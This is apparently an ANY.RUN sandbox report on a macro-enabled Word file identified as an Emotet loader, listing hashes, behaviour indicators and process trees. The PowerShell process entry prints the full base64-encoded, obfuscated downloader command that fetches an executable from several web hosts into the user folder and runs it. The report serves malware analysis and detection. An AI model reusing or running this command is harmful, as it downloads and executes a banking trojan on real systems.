a9f6e267e080fe26502567228fc6257e3e80a06cd53c72079677dad2e4fe860d

Interactive malware hunting service

General Info

File name: 0ia76w-w8idh-wtvyi

Full analysis: https://app.any.run/tasks/ecaceacb-fb82-4f07-a475-f8e6ff236db5

Verdict: Malicious activity

Analysis date: 4/15/2019, 11:18:52

OS:: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)

Tags:: macros

macros-on-open

generated-doc

loader

emotet

banker

trojan

Indicators:

MIME:: application/msword

File info:: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon Apr 15 07:56:00 2019, Last Saved Time/Date: Mon Apr 15 07:56:00 2019, Number of Pages: 1, Number of Words: 1, Number of Characters: 11, Security: 0

MD5: 289e024f18ee99c69bda466688236c23

SHA1: aa99c770715a467aa80b2fadc36c14df3698f895

SHA256: a9f6e267e080fe26502567228fc6257e3e80a06cd53c72079677dad2e4fe860d

SSDEEP: 6144:L77HUUUUUUUUUUUUUUUUUUUT52VCPQAMUA0AUJkJn09/OLZ7z:L77HUUUUUUUUUUUUUUUUUUUTCEQ1UAnR

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distored by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Software environment set and analysis options

Launch configuration

Task duration: 120 seconds

Additional time used: 60 seconds

Fakenet option: off

Heavy Evaision option: off

MITM proxy: off

Route via Tor: off

Network geolocation: off

Privacy: Public submission

Autoconfirmation of UAC: on

Software preset

Internet Explorer 8.0.7601.17514
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (73.0.3683.75)
Google Update Helper (1.3.33.23)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 65.0.2 (x86 en-US) (65.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

Behavior activities

MALICIOUS	SUSPICIOUS	INFO
Connects to CnC server soundser.exe (PID: 2124) EMOTET was detected soundser.exe (PID: 2124) Application was dropped or rewritten from another process 421.exe (PID: 936) soundser.exe (PID: 2124) 421.exe (PID: 3156) soundser.exe (PID: 3580) Emotet process was detected soundser.exe (PID: 3580) Changes the autorun value in the registry soundser.exe (PID: 2124) Downloads executable files from the Internet PoWeRsHelL.exe (PID: 2440)	Connects to server without host name soundser.exe (PID: 2124) Application launched itself 421.exe (PID: 3156) soundser.exe (PID: 3580) Starts itself from another location 421.exe (PID: 936) Executable content was dropped or overwritten 421.exe (PID: 936) PoWeRsHelL.exe (PID: 2440) Creates files in the user directory PoWeRsHelL.exe (PID: 2440)	Creates files in the user directory WINWORD.EXE (PID: 2780) Reads Microsoft Office registry keys WINWORD.EXE (PID: 2780)

MALICIOUS

SUSPICIOUS

INFO

Connects to CnC server

soundser.exe (PID: 2124)

EMOTET was detected

soundser.exe (PID: 2124)

Application was dropped or rewritten from another process

421.exe (PID: 936)
soundser.exe (PID: 2124)
421.exe (PID: 3156)
soundser.exe (PID: 3580)

Emotet process was detected

soundser.exe (PID: 3580)

Changes the autorun value in the registry

soundser.exe (PID: 2124)

Downloads executable files from the Internet

PoWeRsHelL.exe (PID: 2440)

Connects to server without host name

soundser.exe (PID: 2124)

Application launched itself

421.exe (PID: 3156)
soundser.exe (PID: 3580)

Starts itself from another location

421.exe (PID: 936)

Executable content was dropped or overwritten

421.exe (PID: 936)
PoWeRsHelL.exe (PID: 2440)

Creates files in the user directory

PoWeRsHelL.exe (PID: 2440)

Creates files in the user directory

WINWORD.EXE (PID: 2780)

Reads Microsoft Office registry keys

WINWORD.EXE (PID: 2780)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Static information

TRiD

.doc

| Microsoft Word document (54.2%)

.doc

| Microsoft Word document (old ver.) (32.2%)

EXIF

Title:

null

Subject:

null

Author:

null

Keywords:

null

Comments:

null

Template:

Normal.dotm

LastModifiedBy:

null

RevisionNumber:

Software:

Microsoft Office Word

TotalEditTime:

null

CreateDate:

2019:04:15 06:56:00

ModifyDate:

2019:04:15 06:56:00

Pages:

Words:

Characters:

Security:

None

CodePage:

Windows Latin 1 (Western European)

Company:

null

Lines:

Paragraphs:

CharCountWithSpaces:

AppVersion:

ScaleCrop:

LinksUpToDate:

SharedDoc:

HyperlinksChanged:

TitleOfParts:

null

HeadingPairs

null

CompObjUserTypeLen:

CompObjUserType:

Microsoft Word 97-2003 Document

Screenshots

Screenshot of a9f6e267e080fe26502567228fc6257e3e80a06cd53c72079677dad2e4fe860d taken from 19156 ms from task started

Screenshot of a9f6e267e080fe26502567228fc6257e3e80a06cd53c72079677dad2e4fe860d taken from 20166 ms from task started

Screenshot of a9f6e267e080fe26502567228fc6257e3e80a06cd53c72079677dad2e4fe860d taken from 21184 ms from task started

Screenshot of a9f6e267e080fe26502567228fc6257e3e80a06cd53c72079677dad2e4fe860d taken from 27230 ms from task started

Screenshot of a9f6e267e080fe26502567228fc6257e3e80a06cd53c72079677dad2e4fe860d taken from 45390 ms from task started

Screenshot of a9f6e267e080fe26502567228fc6257e3e80a06cd53c72079677dad2e4fe860d taken from 50461 ms from task started

Screenshot of a9f6e267e080fe26502567228fc6257e3e80a06cd53c72079677dad2e4fe860d taken from 51463 ms from task started

Screenshot of a9f6e267e080fe26502567228fc6257e3e80a06cd53c72079677dad2e4fe860d taken from 52463 ms from task started

Screenshot of a9f6e267e080fe26502567228fc6257e3e80a06cd53c72079677dad2e4fe860d taken from 54464 ms from task started

Screenshot of a9f6e267e080fe26502567228fc6257e3e80a06cd53c72079677dad2e4fe860d taken from 55465 ms from task started

Screenshot of a9f6e267e080fe26502567228fc6257e3e80a06cd53c72079677dad2e4fe860d taken from 57501 ms from task started

Screenshot of a9f6e267e080fe26502567228fc6257e3e80a06cd53c72079677dad2e4fe860d taken from 58515 ms from task started

Screenshot of a9f6e267e080fe26502567228fc6257e3e80a06cd53c72079677dad2e4fe860d taken from 62525 ms from task started

Screenshot of a9f6e267e080fe26502567228fc6257e3e80a06cd53c72079677dad2e4fe860d taken from 66595 ms from task started

Screenshot of a9f6e267e080fe26502567228fc6257e3e80a06cd53c72079677dad2e4fe860d taken from 67618 ms from task started

Screenshot of a9f6e267e080fe26502567228fc6257e3e80a06cd53c72079677dad2e4fe860d taken from 71655 ms from task started

Screenshot of a9f6e267e080fe26502567228fc6257e3e80a06cd53c72079677dad2e4fe860d taken from 89741 ms from task started

Processes

Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

–

Specs description

Program did not start

Integrity level elevation

Task сontains an error or was rebooted

Process has crashed

Task contains several apps running

Executable file was dropped

Debug information is available

Process was injected

Network attacks were detected

Application downloaded the executable file

Actions similar to stealing personal data

Behavior similar to exploiting the vulnerability

Inspected object has sucpicious PE structure

File is detected by antivirus software

CPU overrun

RAM overrun

Process starts the services

Process was added to the startup

Behavior similar to spam

Low-level access to the HDD

Probably Tor was used

System was rebooted

Connects to the network

Known threat

Process information

Click at the process to see the details.

PID: 2780

CMD: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\0ia76w-w8idh-wtvyi.doc"

Path: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Indicators: No indicators

Parent process: ––

User: admin

Integrity Level: MEDIUM

Version:

Company: Microsoft Corporation

Description: Microsoft Word

Version: 14.0.6024.1000

Modules

Image
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\program files\microsoft office\office14\wwlib.dll
c:\windows\system32\ole32.dll
c:\windows\system32\oleaut32.dll
c:\program files\microsoft office\office14\gfx.dll
c:\windows\system32\wtsapi32.dll
c:\windows\system32\msimg32.dll
c:\program files\microsoft office\office14\oart.dll
c:\program files\common files\microsoft shared\office14\mso.dll
c:\windows\system32\msi.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\apphelp.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\program files\common files\microsoft shared\office14\cultures\office.odf
c:\program files\microsoft office\office14\1033\wwintl.dll
c:\program files\common files\microsoft shared\office14\1033\msointl.dll
c:\program files\common files\microsoft shared\office14\msores.dll
c:\windows\system32\cryptbase.dll
c:\windows\system32\dwmapi.dll
c:\program files\common files\microsoft shared\office14\msptls.dll
c:\windows\system32\uxtheme.dll
c:\program files\common files\microsoft shared\office14\riched20.dll
c:\windows\system32\mscoree.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
c:\windows\system32\version.dll
c:\windows\microsoft.net\framework\v2.0.50727\mscorwks.dll
c:\program files\common files\microsoft shared\officesoftwareprotectionplatform\osppc.dll
c:\windows\system32\winspool.drv
c:\windows\system32\shell32.dll
c:\windows\system32\powrprof.dll
c:\windows\system32\setupapi.dll
c:\windows\system32\cfgmgr32.dll
c:\windows\system32\devobj.dll
c:\windows\system32\clbcatq.dll
c:\windows\system32\propsys.dll
c:\windows\system32\ntmarta.dll
c:\windows\system32\wldap32.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\rsaenh.dll
c:\windows\system32\rpcrtremote.dll
c:\windows\system32\msxml6.dll
c:\windows\system32\profapi.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\wininet.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\system32\sspicli.dll
c:\progra~1\common~1\micros~1\vba\vba7\vbe7.dll
c:\program files\microsoft office\office14\gkword.dll
c:\windows\system32\spool\drivers\w32x86\3\unidrvui.dll
c:\windows\system32\spool\drivers\w32x86\3\sendtoonenoteui.dll
c:\windows\system32\spool\drivers\w32x86\3\mxdwdrv.dll
c:\windows\system32\fontsub.dll
c:\program files\common files\microsoft shared\office14\usp10.dll
c:\windows\system32\shdocvw.dll
c:\windows\system32\sxs.dll
c:\progra~1\common~1\micros~1\vba\vba7\1033\vbe7intl.dll
c:\windows\system32\fm20.dll
c:\windows\system32\comdlg32.dll
c:\windows\system32\fm20enu.dll
c:\windows\system32\wbem\wbemdisp.dll
c:\windows\system32\wbemcomn.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\nsi.dll
c:\windows\system32\wbem\wbemprox.dll
c:\windows\system32\wbem\wmiutils.dll
c:\windows\system32\wbem\wbemsvc.dll
c:\windows\system32\wbem\fastprox.dll
c:\windows\system32\ntdsapi.dll
c:\windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\gdiplus.dll
c:\program files\microsoft office\office14\msproof7.dll
c:\windows\system32\windowscodecs.dll
c:\windows\system32\prntvpt.dll
c:\program files\microsoft office\office14\proof\1033\msgr3en.dll

PID: 2440

CMD: PoWeRsHelL -e JABtAEEAUQA0AEIAQQBVADQAPQAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAgACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACcAagAnACwAJwBaAEEAQwAnACkALAAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnAF8AQwAnACwAJwBfAEEAJwApACkAOwAkAHUAWABEAEEAQQBVACAAPQAgACcANAAyADEAJwA7ACQATQBBAFgAMQBYAHcAXwA9ACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAEEAQQBBACcALAAnADEAWgAnACkALAAnAF8AJwApADsAJABGAEMAawAxAFUAQwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAdQBYAEQAQQBBAFUAKwAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBlACcALAAnAC4AZQB4ACcAKQA7ACQASgBEAFEAUQBBAEIAQQB3AD0AKAAiAHsAMgB9AHsAMQB9AHsAMAB9ACIALQBmACAAJwBYAFoAJwAsACcAUQAnACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAJwBsAEEAWAAnACwAJwBBAGMAJwApACkAOwAkAEoAQQBRAEEAQQBRAD0AJgAoACcAbgBlAHcAJwArACcALQAnACsAJwBvAGIAagAnACsAJwBlAGMAdAAnACkAIABuAGUAVAAuAGAAVwBgAEUAQgBjAGwAaQBlAGAATgB0ADsAJABiAFEAawBjAEEAawBHAEEAPQAoACIAewAxADAAfQB7ADUAfQB7ADEANQB9AHsAMgAwAH0AewAxADMAfQB7ADIAfQB7ADcAfQB7ADIANAB9AHsANgB9AHsAMQB9AHsAOAB9AHsAMAB9AHsAMgA4AH0AewAyADIAfQB7ADkAfQB7ADEANwB9AHsAMgA3AH0AewAxADQAfQB7ADMAMQB9AHsAMwB9AHsAMQAyAH0AewAyADEAfQB7ADIANgB9AHsAMwAwAH0AewAyADUAfQB7ADQAfQB7ADIAOQB9AHsAMQA2AH0AewAxADgAfQB7ADEAMQB9AHsAMgAzAH0AewAxADkAfQAiAC0AZgAgACgAIgB7ADIAfQB7ADAAfQB7ADEAfQAiAC0AZgAgACcAYQBnAGkAJwAsACcALgBpACcALAAnAGUAcgBtACcAKQAsACgAIgB7ADAAfQB7ADIAfQB7ADEAfQAiAC0AZgAgACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcAXwAnACwAJwBNAC8AQABoACcAKQAsACcALwAvACcALAAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAnAHAAOgAnACwAJwB0AHQAJwApACkALAAoACIAewA1AH0AewA0AH0AewAxAH0AewAwAH0AewAyAH0AewAzAH0AIgAtAGYAIAAnAG0AaQAnACwAJwBhAGQAJwAsACcAbgAvACcALAAnAHgAXwBnACcALAAoACIAewAxAH0AewAwAH0AewAyAH0AIgAgAC0AZgAnAGMAbwBtAC8AJwAsACcAOAAuACcALAAnAHcAcAAtACcAKQAsACcAaAAyADIAJwApACwAJwBLACcALAAoACIAewA1AH0AewAwAH0AewA0AH0AewAzAH0AewAxAH0AewAyAH0AewA2AH0AIgAgAC0AZgAgACcAdAAnACwAJwBnAGUAdAAnACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACAAJwBmAGkAdAAnACwAJwBhAHQANQAnACkALAAnADoALwAvACcALAAnAHQAcAAnACwAKAAiAHsAMQB9AHsAMgB9AHsAMAB9ACIALQBmACAAJwBJAF8AOABMAC8AQABoACcALAAnADIAJwAsACcALwBJACcAKQAsACcAMAAnACkALAAnAHAAJwAsACgAIgB7ADEAfQB7ADIAfQB7ADAAfQAiACAALQBmACAAJwAvAHQAZgAnACwAKAAiAHsAMQB9AHsAMAB9AHsAMgB9ACIAIAAtAGYAIAAnAGUAdAAnACwAJwBuACcALAAnAC8AaQBtAGEAJwApACwAJwBnAGUAcwAnACkALAAoACIAewAyAH0AewAwAH0AewAxAH0AewAzAH0AIgAtAGYAIAAnAC8AJwAsACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACAAJwBrACcALAAnAC8AaABlACcAKQAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACcALwBAAGgAJwAsACcAdAB0AHAAOgAnACkALAAnAGUAJwApACwAJwBoACcALAAnAHAAJwAsACcAaAB0AHQAJwAsACcAbgAnACwAKAAiAHsAMgB9AHsAMwB9AHsAMAB9AHsAMQB9ACIALQBmACAAJwBAAGgAJwAsACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAgACcAOgAvACcALAAnAHQAdABwACcAKQAsACcAZQAnACwAJwAvACcAKQAsACcAcgBjACcALAAnAHUAZAAnACwAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnAC8ALwAnACwAJwBjAGgAJwApACwAJwA6ACcAKQAsACgAIgB7ADIAfQB7ADEAfQB7ADAAfQAiAC0AZgAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAnAHAALQAnACwAJwBjAG8AJwApACwAJwB3ACcALAAnAG0ALwAnACkALAAnAC0AaQAnACwAJwBuAHQAZQAnACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACAAJwA0ACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAJwBfAEUAcQAnACwAJwAvACcAKQApACwAJwB1ACcALAAnAC8AdABlACcALAAnAHcAJwAsACcAdAAvAHoAJwAsACcALgAnACwAKAAiAHsAMgB9AHsAMAB9AHsAMQB9ACIALQBmACAAJwB0ACcALAAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcAZABvAHMAJwAsACcAYQAnACkALAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBzACcALAAnAHgALwBFACcAKQApACwAJwBwAGEAJwAsACcAbgBjAGwAJwAsACcAcgAvACcALAAnAC4AYwBvACcALAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAgACcAZAAnACwAJwBpAC4AbQAnACkALAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAgACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAJwBlAHMAJwAsACcALwBpAE0AJwApACwAJwBfACcAKQApAC4AIgBzAGAAUABMAGkAdAAiACgAJwBAACcAKQA7ACQAUgBBAFEAQwBBAEIAQQA9ACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACAAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwA0AEIAJwAsACcAYwBvACcAKQAsACcAQQAnACkALAAnAG4AQQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABLAEEARAB3AEEAQgAgAGkAbgAgACQAYgBRAGsAYwBBAGsARwBBACkAewB0AHIAeQB7ACQASgBBAFEAQQBBAFEALgAiAEQAYABPAHcATgBsAG8AYABBAGQAYABGAEkAbABlACIAKAAkAEsAQQBEAHcAQQBCACwAIAAkAEYAQwBrADEAVQBDACkAOwAkAGYAQgBCAEEAWABBAD0AKAAiAHsAMQB9AHsAMAB9AHsAMgB9ACIALQBmACAAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAFUAQQAnACwAJwBBAEQAYwAnACkALAAnAHYAJwAsACcAQQBfACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABGAEMAawAxAFUAQwApAC4AIgBsAGUAbgBgAEcAdABoACIAIAAtAGcAZQAgADMAMAA2ADAAMwApACAAewAuACgAJwBJAG4AJwArACcAdgAnACsAJwBvAGsAJwArACcAZQAtAEkAdABlAG0AJwApACAAJABGAEMAawAxAFUAQwA7ACQAZgBvAEQAQQBaAG8AdwBRAD0AKAAiAHsAMQB9AHsAMAB9AHsAMgB9ACIALQBmACcAQQAnACwAJwBpAEEAQQAnACwAJwBrAG8AJwApADsAYgByAGUAYQBrADsAJABOAF8AMQB3AEIAQQBrAHgAPQAoACIAewAwAH0AewAyAH0AewAxAH0AIgAtAGYAJwBXAEcAJwAsACcAeABYACcALAAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcARABBAEEAJwAsACcAVQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVABYAEMAQQBjAFoAQQBDAD0AKAAiAHsAMAB9AHsAMgB9AHsAMQB9ACIALQBmACcAegAnACwAJwBVACcALAAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACcAQQAnACwAJwBBAEEAUQAnACkALAAnAGsAVQAnACkAKQA=

Path: C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRsHelL.exe

Indicators

Parent process: ––

User: admin

Integrity Level: MEDIUM

Exit code: 0

Version:

Company: Microsoft Corporation

Description: Windows PowerShell

Version: 6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Image
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\cryptbase.dll
c:\windows\system32\clbcatq.dll
c:\windows\system32\shell32.dll
c:\windows\system32\userenv.dll
c:\windows\system32\profapi.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\windows\system32\setupapi.dll
c:\windows\system32\cfgmgr32.dll
c:\windows\system32\devobj.dll
c:\windows\system32\propsys.dll
c:\windows\system32\ntmarta.dll
c:\windows\system32\wldap32.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\shdocvw.dll
c:\windows\system32\linkinfo.dll
c:\windows\system32\ntshrui.dll
c:\windows\system32\srvcli.dll
c:\windows\system32\cscapi.dll
c:\windows\system32\slc.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\rsaenh.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
c:\windows\system32\version.dll
c:\windows\microsoft.net\framework\v2.0.50727\mscorwks.dll
c:\windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fc\msvcr80.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\mscorlib\62a0b3e4b40ec0e8c5cfaa0c8848e64a\mscorlib.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system\9e0a3b9b9f457233a335d7fba8f95419\system.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.powershel#\4bdde288f147e3b3f2c090ecdf704e6d\microsoft.powershell.consolehost.ni.dll
c:\windows\assembly\gac_msil\system.management.automation\1.0.0.0__31bf3856ad364e35\system.management.automation.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.management.a#\a8e3a41ecbcc4bb1598ed5719f965110\system.management.automation.ni.dll
c:\windows\system32\psapi.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.core\fbc05b5b05dc6366b02b8e2f77d080f1\system.core.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.powershel#\e112e4460a0c9122de8c382126da4a2f\microsoft.powershell.commands.diagnostics.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.configuratio#\f02737c83305687a68c088927a6c5a98\system.configuration.install.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.wsman.man#\f1865caa683ceb3d12b383a94a35da14\microsoft.wsman.management.ni.dll
c:\windows\assembly\gac_msil\microsoft.wsman.runtime\1.0.0.0__31bf3856ad364e35\microsoft.wsman.runtime.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.transactions\ad18f93fc713db2c4b29b25116c13bd8\system.transactions.ni.dll
c:\windows\assembly\gac_32\system.transactions\2.0.0.0__b77a5c561934e089\system.transactions.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.powershel#\82d7758f278f47dc4191abab1cb11ce3\microsoft.powershell.commands.utility.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.powershel#\583c7b9f52114c026088bdb9f19f64e8\microsoft.powershell.commands.management.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.powershel#\6c5bef3ab74c06a641444eff648c0dde\microsoft.powershell.security.ni.dll
c:\windows\microsoft.net\framework\v2.0.50727\culture.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.xml\461d3b6b3f43e6fbe6c897d5936e17e4\system.xml.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.management\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\system.management.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.directoryser#\45ec12795950a7d54691591c615a9e3c\system.directoryservices.ni.dll
c:\windows\system32\shfolder.dll
c:\windows\system32\secur32.dll
c:\windows\system32\sspicli.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.data\1e85062785e286cd9eae9c26d2c61f73\system.data.ni.dll
c:\windows\assembly\gac_32\system.data\2.0.0.0__b77a5c561934e089\system.data.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\nsi.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\microsoft.net\framework\v2.0.50727\mscorjit.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.configuration\bc09ad2d49d8535371845cd7532f9271\system.configuration.ni.dll
c:\windows\system32\rasapi32.dll
c:\windows\system32\rasman.dll
c:\windows\system32\rtutils.dll
c:\windows\system32\mswsock.dll
c:\windows\system32\wshtcpip.dll
c:\windows\system32\wship6.dll
c:\windows\system32\winhttp.dll
c:\windows\system32\webio.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\winnsi.dll
c:\windows\system32\dhcpcsvc6.dll
c:\windows\system32\dhcpcsvc.dll
c:\windows\system32\dnsapi.dll
c:\windows\system32\rasadhlp.dll
c:\windows\system32\fwpuclnt.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\wininet.dll
c:\windows\system32\iertutil.dll
c:\users\admin\421.exe
c:\windows\system32\netutils.dll

PID: 3156

CMD: "C:\Users\admin\421.exe"

Path: C:\Users\admin\421.exe

Indicators: No indicators

Parent process: PoWeRsHelL.exe

User: admin

Integrity Level: MEDIUM

Exit code: 0

Version:

Company: 360. cn

Description: 360 FirstAid

Version: 1, 0, 0, 1007

Modules

Image
c:\users\admin\421.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\apphelp.dll

PID: 936

CMD: --725acb31

Path: C:\Users\admin\421.exe

Indicators

Parent process: 421.exe

User: admin

Integrity Level: MEDIUM

Exit code: 0

Version:

Company: 360. cn

Description: 360 FirstAid

Version: 1, 0, 0, 1007

Modules

Image
c:\users\admin\421.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
